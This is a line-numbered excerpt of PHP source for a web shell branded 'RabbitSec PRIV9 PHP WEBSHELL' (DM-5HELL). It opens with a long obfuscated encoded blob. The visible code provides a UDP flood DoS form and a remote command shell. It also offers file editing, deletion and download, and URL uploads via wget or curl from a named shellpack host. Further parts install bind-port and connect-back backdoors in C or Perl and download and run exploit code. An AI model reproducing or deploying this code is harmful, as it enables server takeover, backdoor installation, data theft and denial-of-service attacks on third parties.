w6wtHXHeEXHeE7tMcvdmWscMysDBx5KJExYun4KXp0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHeShcM9Vft13cBlmDuW6wo5vFM1ideShgWpiGXPIwuOlGuWscoajd3kifolvdjPIdM9VcTShwtnjd2xvFjPjHzHzHzHzKXp9tjXvF3O5doA+tjXvDoaice4hNokvcuL+tjxLDbCIDBW9wmOvd2XJNIP8UerIF3O5doA9wMYvdo9ZKJEjYeW0YeW0KZn0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHtw7foa4ft1idolmdjPIC2aVfoaZKz5tRACIW29VcMlmb2YWCB5ldeXvUer+tjxMd3kswo1lfoivce0JAr9Tatw+tjxpdmn1ftnVCB1lNUk1FMXJwuO5FoA9wmOlGuWJwucidualNUwmRJO1FMXVkZwIF2l6cT0JYeEJwt8+tjxpdmn1ftn0GbnlNUkzfBksDbWJwucidualNUkTfoyZftE+wJEvNIP8R2cvFM0+NokZwt8+NokZwt8+kzShDBCPDbYzcbWPky9WT1YABZf1FMXmbULpGXppcJIicMlSca9mcbOgC29VfoaVfuHPkuaZdtLpGXplC2ivwtfyFmkvFJ4IUB52CBxpctnaALXVkzShgBaSF2a7tJOiwe0IHeShcM9ZcByjDtimcbOgcoy0CUILfbkShUniFZELDB5MdZl7tMlMhoxvc2lVhtOpdMcvBznfRtOpdMcvBzyfhUl7tMajDo8IwjxJwuY0GBxlNUFIC29Sd3w6wtH4HeIXKeEIKZn0cbi0RbYPCBOvfzPXFuIIHun4weyXGtEjKeE4HeIXweSmNlSqbUnaF2aZdMyscUEMwyniF3Y3d3kLweP8R2w+wtE8CJnzfulScT0mwoYvdo9ZKJEjHeEXHrcoweSIfoa4ft1zDoyLd3F6Hun4wenXGtExFuIIwzEXHenoOJE7kz5dkolVcM9dHy1fNt9JNJE8CJnzfulScT0mwoYvdo9ZKJEjW0HXHeEXKZn0cbi0RbYPCBOvfzPXFuIIHun4weyXGtEjW0HXHeEXKZF+BZOpdMcvBzyfbTXvCj48CmwIRz4JKXPLCUSqKXp9tm0hcBYPdZEJNowIF3O5doA9kZnjd2xvFjPIwzIXKeE4HtE7wuOlGuWsF2iico93KjnXGtEXFuIIHbn4wtH4HeIXKeEIKZF+NoiZNJOiwrYXCB5ldtnod3aVcoaLRjxJFJEvNJw7tm0hgWplC2ivwtF8CmwIRz48CmwIRz48CmwIRz48CmwIRz48col2wolLNUkMd290cbwJNmx8wrlLcBrIKjPITbwVWBxzCTYlDZn8gtnWFM9mFMysdBlVcZE6KJnuRAwIguXIOoazDBfVcbwIKjPIWBXsA3fpF3klwux8weXvcol2NIP8R2Opfj48R2kvcuL+tjXvDuOsde4mKXpMfB5jfolvdJnlGtILCUXLCJXLfoa4ftl7tJOlGunSd2Olwe0IcbiXdo9LcUILCUXLfoa4ftL7tJOlGunSd2Olwe0IcbiXdo9LcUILCJXLcbiXdo9LcaSxbUL7tmklfuaZdJELcbiXdo9LcaSXbTShgWpMfB5jfolvdJnSd2fpdJILfbYlFJXLFoyzFZl7tJOjwe0IWo15F3ySb2YvdM5lC3WPk2xvC2ySDo9zftFSkuazcbwSkuniF3HpKXppcJILCZl7tM15F3ySb2YSd3YlhtOjhTShFMa0fbkVwuOZfBA7tm1lduYlGXpZcbO1FM4IcMySF2A7tm0hgWpMfB5jfolvdJnmcbOgcoy0CUILfbkShbShkoyZwe0ICbkZCbLPkzrVfui0kZXmHJ50GuWmRtFzRmO4ftFSkzWVfui0kZXmYU50GuWmRtF2RmO4ftFSkzFVfui0kZXmKt50GuWmRtF5RmO4ftFSkzEVfui0kZL7tJOzFMHINUnMDBxlb2flfy9jd250cB50FZILfbkShTShkocpdoazwe0IcbiXdo9LcUImNorIDuklcj0JkZXLF3kjhTShkoOiforINUniFmkiGUIpKXpMd3klCBYPhtOMDBxlFZniFZELDBW9NJOMDBxlhbShDBCPkolLwe09weEpGXpjd250DB51cTShgWPLcMlScUE9woa4FoxvcoAPkZw+kZXLcMlScUL7tJOMDBxlwe0IfukpdUILcMlScaSXbUL7tMlMhtylFMamDUImRmO4ftFSkocpdoAphbShC29VfolVfBA7tm0hkuYZCZE9wocpdoagc2a0b2YvdmOldmOzhtwLfbkSRZOMDBxlwJL7tMlMhtrLF3kjhbShC29VfolVfBA7tm0hkuazcbwINUnzfukgFMaXdoyjcUILCbwSkZFSkocpdoApKXPLfbYlFJE9wuY0Fl9ZcbnSCBYlhtOiFJXmkZXLfbYlFJ4mRmO4ftFpKXPLfbYlFJE9wuY0Fl9ZcbnSCBYlhtOiFJXmkZXLfbYlFJ4mRmO4ftFpKXPLfbYlFJE9wuOZDB0PF3OZb3klFoxiC2APkZ50GuWmRtFmRtO1F2aZhUL7tMlMhoaZcBfphtkbd3kLAuklF3HJRtOzFMHphbShkuniF3HINUnlGtIJcoaMDB5lhtfrWl9WWaYTa09UOtFSwtFJRtwmhTSJRtOzFMHpKXPLcoy0Casfwe0ICbkZCbLPkuazcbwSkuniF3HpKXp9cBxzcbShkuOvD2aVFZE9wuOvD2aVb2flfy9idoXPkuYZCZL7tMcvFMaiC2IPkuOvD2aVFZniFZELfo9qcB4pGXppcJIikuOvD2aVBzyfhbShC29VfolVfBA7tm0hkuOvD2aVdMyscUE9wuOvD2aVb25idBAPkuOvD2aVBznfhTShDBCPkuOvD2aVdMyscUEiNUEmay9BWakkWAkHOUFpGXpjd250DB51cTShgWPLfMyZwe0IkuOvD2aVBzyfKXppcJilFMamDUImFoyzFZFSkuciFJLpGXPLcJE9wuY0Fl9ZcbnSCBYlhtFIkZXmkZxlGtILfMyZRtF7kZXLF3kjhUL7tJOiwe0IfukpdUilGtIJNUFJRtwmwJXLcJLpKXPLCJE9wuOZDB0PcbIPkZwmRtFJkZXLcJLpKXppcJILCUEiNUEmkZl7tJOXCbYzwe0Ikor7tm1lduYlDBCPkowIwT0IkZFpGXPLFoyzFZE9wtOJKXp9tMlMhtOXCbYzwe09wtFmhbShC29VfolVfBA7tm0hkoOifoydbUE9woyZFMy5htO1F2aZRtOXCbYzhTShgWp9tm0hgWpZcbO1FM4IkoOifor7tm0hKX==alVnRPIq
6280
6281
6282<?php }
6283# x=dos
6284elseif(isset($_GET['x']) && ($_GET['x'] == 'dos')){
6285?>
6286<form action="?dm=<?php echo $pwd; ?>&x=dos" method="post">
6287
6288<?php
6289if(isset($_GET['host'])&&isset($_GET['time'])){
6290$packets = 0;
6291ignore_user_abort(TRUE);
6292set_time_limit(0);
6293$exec_time = $_GET['time'];
6294$time = time();
6295print "Started: ".time('d-m-y h:i:s')."<br>";
6296$max_time = $time+$exec_time;
6297$host = $_GET['host'];
6298for($i=0;$i<65000;$i++){
6299$out .= 'X';
6300}
6301while(1){
6302$packets++;
6303if(time() > $max_time){ break; }
6304$rand = rand(1,65000);
6305$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
6306if($fp){
6307fwrite($fp, $out);
6308fclose($fp);
6309}
6310}
6311echo "<br><b>UDP Flood</b><br>
6312Completed with $packets (" .round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
6313
6314echo '<br><br><form action="'.$surl.'" method=GET><input type="hidden" name="act" value="phptools">
6315Host: <br><input type=text name=host><br>
6316Length (seconds): <br><input type=text name=time><br>
6317<input type=submit value=Go></form>';
6318} else {
6319echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
6320<table class="tabnet" style="width:300px;">
6321<tr><th colspan="2">UDP Flood</th></tr>
6322<tr><td> Host</td>
6323<td><input style="width:220px;" class="inputz" type=text name=host value=></td></tr>
6324<tr><td> Length (seconds)</td>
6325<td><input style="width:220px;" class="inputz" type=text name=time value=></td></tr>
6326<tr><td colspan=2 align=center><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td></tr>
6327</table></center>';
6328}
6329}
6330
6331
6332elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
6333@ob_start();
6334@eval("phpinfo();");
6335$buff = @ob_get_contents();
6336@ob_end_clean();
6337$awal = strpos($buff,"<body>")+6;
6338$akhir = strpos($buff,"</body>");
6339echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
6340}
6341
6342elseif(isset($_GET['view']) && ($_GET['view'] != "")){
6343if(is_file($_GET['view'])){
6344
6345if(!isset($file))
6346$file = magicboom($_GET['view']);
6347
6348if(!$win && $posix){
6349$name=@posix_getpwuid(@fileowner($file));
6350$group=@posix_getgrgid(@filegroup($file));
6351$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
6352} else {
6353$owner = $user;
6354}
6355$filn = basename($file);
6356echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
6357<tr><td>Filename</td>
6358<td><nobr><span id=\"".clearspace($filn)."_link\">".$file."</span>
6359<form action=\"?dm=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
6360<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
6361<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
6362<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
6363<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
6364onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
6365</form></nobr></td></tr>
6366
6367<tr><td>Size</td>
6368<td>".ukuran($file)."</td></tr>
6369<tr><td>Permission</td>
6370<td>".get_perms($file)."</td></tr>
6371<tr><td>Owner</td>
6372<td>".$owner."</td></tr>
6373<tr><td>Create time</td>
6374<td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
6375<tr><td>Last modified</td>
6376<td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
6377<tr><td>Last accessed</td>
6378<td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
6379<tr><td>Actions</td>
6380<td><a href=\"?dm=$pwd&edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">Rename</a> | <a href=\"?dm=$pwd&delete=$file\">Delete</a> | <a href=\"?dm=$pwd&dl=$file\">Download</a> (<a href=\"?dm=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
6381
6382<tr><td>View</td><td><a href=\"?dm=".$pwd."&view=".$file."&type=code\">Highlight Code</a>
6383|
6384<a href=\"?dm=".$pwd."&view=".$file."\">Text</a>
6385|
6386<a href=\"?dm=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
6387
6388if(isset($_GET['type']) && ($_GET['type']=='image')){
6389
6390echo "<div style=\"text-align:center;margin:8px;\">
6391<img src=\"?dm=".$pwd."&img=".$filn."\"></div>";
6392}
6393
6394elseif(isset($_GET['type']) && ($_GET['type']=='code')){
6395echo "<div class=\"viewfile\">";
6396echo nl2br(htmlentities((@file_get_contents($file))));
6397echo "</div>";
6398
6399} else {
6400echo "<div class=\"viewfile\">";
6401$file = wordwrap(@file_get_contents($file),"240","\n");
6402@highlight_string($file);
6403echo "</div>";
6404
6405}
6406}
6407elseif(is_dir($_GET['view'])) {
6408echo showdir($pwd,$prompt);
6409}
6410}
6411elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) {
6412if(isset($_POST['save'])) {
6413$file = $_POST['saveas'];
6414$content = magicboom($_POST['content']);
6415if($filez = @fopen($file,"w")) {
6416$time = date("d-M-Y H:i",time());
6417if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save";
6418@fclose($filez);
6419} else $msg = "permission denied";
6420} if
6421(!isset($file)) $file = $_GET['edit'];
6422if($filez = @fopen($file,"r")) {
6423$content = ""; while(!feof($filez)) {
6424$content .= htmlentities(str_replace("''","'",fgets($filez)));
6425}
6426@fclose($filez);
6427}
6428?>
6429
6430<form action="?dm=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
6431<table class="cmdbox">
6432<tr><td colspan="2">
6433<textarea class="output" name="content"><?php echo $content; ?></textarea></td>
6434<tr>
6435<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
6436<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr></table> </form>
6437
6438<?php }
6439# x=upload
6440elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
6441if(isset($_POST['uploadcomp'])){
6442if(is_uploaded_file($_FILES['file']['tmp_name'])){
6443$path = magicboom($_POST['path']);
6444$fname = $_FILES['file']['name'];
6445$tmp_name = $_FILES['file']['tmp_name'];
6446$pindah = $path.$fname;
6447$stat = @move_uploaded_file($tmp_name,$pindah);
6448if($stat) {
6449$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah ";
6450}
6451else $msg = "<br>Failed To Upload $fname";
6452}
6453else $msg = "<br>Failed To Upload $fname </span></nobr>";
6454}
6455
6456elseif(isset($_POST['uploadurl'])){
6457$pilihan = trim($_POST['pilihan']);
6458$wurl = trim($_POST['wurl']);
6459$path = magicboom($_POST['path']);
6460$namafile = download($pilihan,$wurl);
6461$pindah = $path.$namafile;
6462if(is_file($pindah)) {
6463$msg = "<br><nobr><span class='b11'>File Uploaded To $pindah";
6464}
6465else
6466$msg = "<br>Failed Upload $namafile </span></nobr>";
6467}
6468?>
6469
6470<form action="?dm=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
6471<br><br><table class="tabnet" style="width:320px;padding:0 1px;">
6472<tr><th colspan="2"><b> <span class='b12'> _UPLOAD FILE_</span></b></th></tr>
6473<tr><td colspan="2"><nobr><p style="text-align:center;"><input style="color:red" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:100px;"></p></nobr></td></tr>
6474<tr><td colspan="2">
6475<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6476</table>
6477</form>
6478<table class="tabnet" style="width:320px;padding:0 1px;">
6479<tr><th colspan="2"><b><span class='b12'> _UPLOAD FROM URL_</span></b></th></tr>
6480<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?dm=<?php echo $pwd; ?>&x=upload">
6481<table>
6482<tr>
6483<td>URL : </td>
6484<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://rabbitsec-team.esy.es/shellpack.zip"></td></tr>
6485<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6486<tr><td>
6487<select size="1" class="inputz" name="pilihan">
6488<option value="wwget">wget</option>
6489<option value="wlynx">lynx</option>
6490<option value="wfread">fread</option>
6491<option value="wfetch">fetch</option>
6492<option value="wlinks">links</option>
6493<option value="wget">GET</option>
6494<option value="wcurl">curl</option>
6495</select></td>
6496<td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td></tr>
6497</table></form></td> </tr></table>
6498<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6499
6500<?php }
6501elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
6502if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
6503
6504$port = trim($_POST['port']);
6505$passwrd = trim($_POST['bind_pass']);
6506tulis("bdc.c",$port_bind_bd_c);
6507exe("gcc -o bdc bdc.c");
6508exe("chmod 777 bdc");
6509@unlink("bdc.c");
6510exe("./bdc ".$port." ".$passwrd." &");
6511$scan = exe("ps aux");
6512if(eregi("./bdc $por",$scan)){
6513$msg = "<p>Process found running, backdoor setup successfully.</p>";
6514}
6515else {
6516$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6517}
6518}
6519
6520elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
6521$port = trim($_POST['port']);
6522$passwrd = trim($_POST['bind_pass']);
6523tulis("bdp",$port_bind_bd_pl);
6524exe("chmod 777 bdp");
6525$p2=which("perl");
6526exe($p2." bdp ".$port." &");
6527$scan = exe("ps aux");
6528if(eregi("$p2 bdp $port",$scan)){
6529$msg = "<p>Process found running, backdoor setup successfully.</p>"; }
6530else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6531}
6532}
6533
6534elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
6535$ip = trim($_POST['ip']);
6536$port = trim($_POST['backport']);
6537tulis("bcc.c",$back_connect_c);
6538exe("gcc -o bcc bcc.c");
6539exe("chmod 777 bcc");
6540@unlink("bcc.c");
6541exe("./bcc ".$ip." ".$port." &");
6542$msg = "Now script try connect to ".$ip." port ".$port." ...";
6543}
6544
6545elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
6546$ip = trim($_POST['ip']);
6547$port = trim($_POST['backport']);
6548tulis_2("bcp",$back_connect);
6549exe("chmod +x bcp");
6550$p2=which("perl");
6551exe($p2." bcp ".$ip." ".$port." &");
6552sleep(1);
6553$msg = "Now script try connect to ".$ip." port ".$port." ...";
6554unlink("bcp");
6555}
6556
6557elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
6558$pilihan = trim($_POST['pilihan']);
6559$wurl = trim($_POST['wurl']);
6560$namafile = download($pilihan,$wurl);
6561if(is_file($namafile)) { $msg = exe($wcmd); }
6562else $msg = "error: file not found $namafile";
6563}
6564?>
6565
6566<table class="tabnet"><tr>
6567<th>Port Binding</th>
6568<th>Connect Back</th>
6569<th>Load and Exploit</th></tr>
6570
6571<tr><td>
6572<form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6573
6574<table><tr><td>Port</td>
6575<td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
6576
6577<tr><td>Password</td>
6578<td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
6579
6580<tr><td>Use</td>
6581<td style="text-align:justify">
6582<p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px"></td></tr></table>
6583</form></td>
6584
6585<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6586<table><tr><td>IP</td>
6587<td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
6588</td>
6589</tr>
6590<tr><td>Port</td>
6591<td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
6592
6593<tr><td>Use</td>
6594<td style="text-align:justify">
6595<p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px"></td></tr></table> </form> </td>
6596
6597<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6598<table> <tr><td>url</td>
6599<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
6600<tr><td>cmd</td>
6601<td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr>
6602<tr><td><select size="1" class="inputz" name="pilihan">
6603<option value="wwget">wget</option>
6604<option value="wlynx">lynx</option>
6605<option value="wfread">fread</option>
6606<option value="wfetch">fetch</option>
6607<option value="wlinks">links</option> <option value="wget">GET</option>
6608<option value="wcurl">curl</option>
6609</select></td>
6610<td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;"></td></tr></table></form </td></tr></table>
6611<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6612
6613
6614<?php }
6615elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) {
6616?>
6617<form action="?dm=<?php echo $pwd; ?>&x=shell"method="post">
6618
6619<table class="cmdbox"> <tr>
6620<td colspan="2">
6621<textarea class="output"> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea> </td></tr>
6622
6623<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
6624</table></form>
6625
6626<?php
6627} else {
6628if(isset($_GET['delete']) && ($_GET['delete'] != "")){
6629$file = $_GET['delete']; @unlink($file);
6630}
6631
6632elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
6633delete_option($_GET['fdelete']);
6634}
6635
6636elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
6637$path = $pwd.$_GET['mkdir']; @mkdir($path);
6638}
6639$buff = showdir($pwd,$prompt);
6640echo $buff;
6641}
6642?>
6643
6644
6645<!-- DM-5HELL FOOTER -->
6646<div align="center">
6647<br>
6648<!-- DM-5HELL -->
6649<br>
6650<table class="tabnet" style="width:700px;padding:0 1px;">
6651<tr><td align="center" colspan="2">
6652<nobr><span class='b12'>Don't Be Serios, Internet Is For Fun!</span>
6653</td></tr>
6654<tr><td align="center" colspan="2">
6655<nobr><span class='b12'>RabbitSec PRIV9 PHP WEBSHELL © 2015 </span>
6656</td></tr>
6657</table><br><br>
6658</html><!-- DM-5HELL -->
6659</div></div></body></html>
6660<!-- END OF DM-5HELL --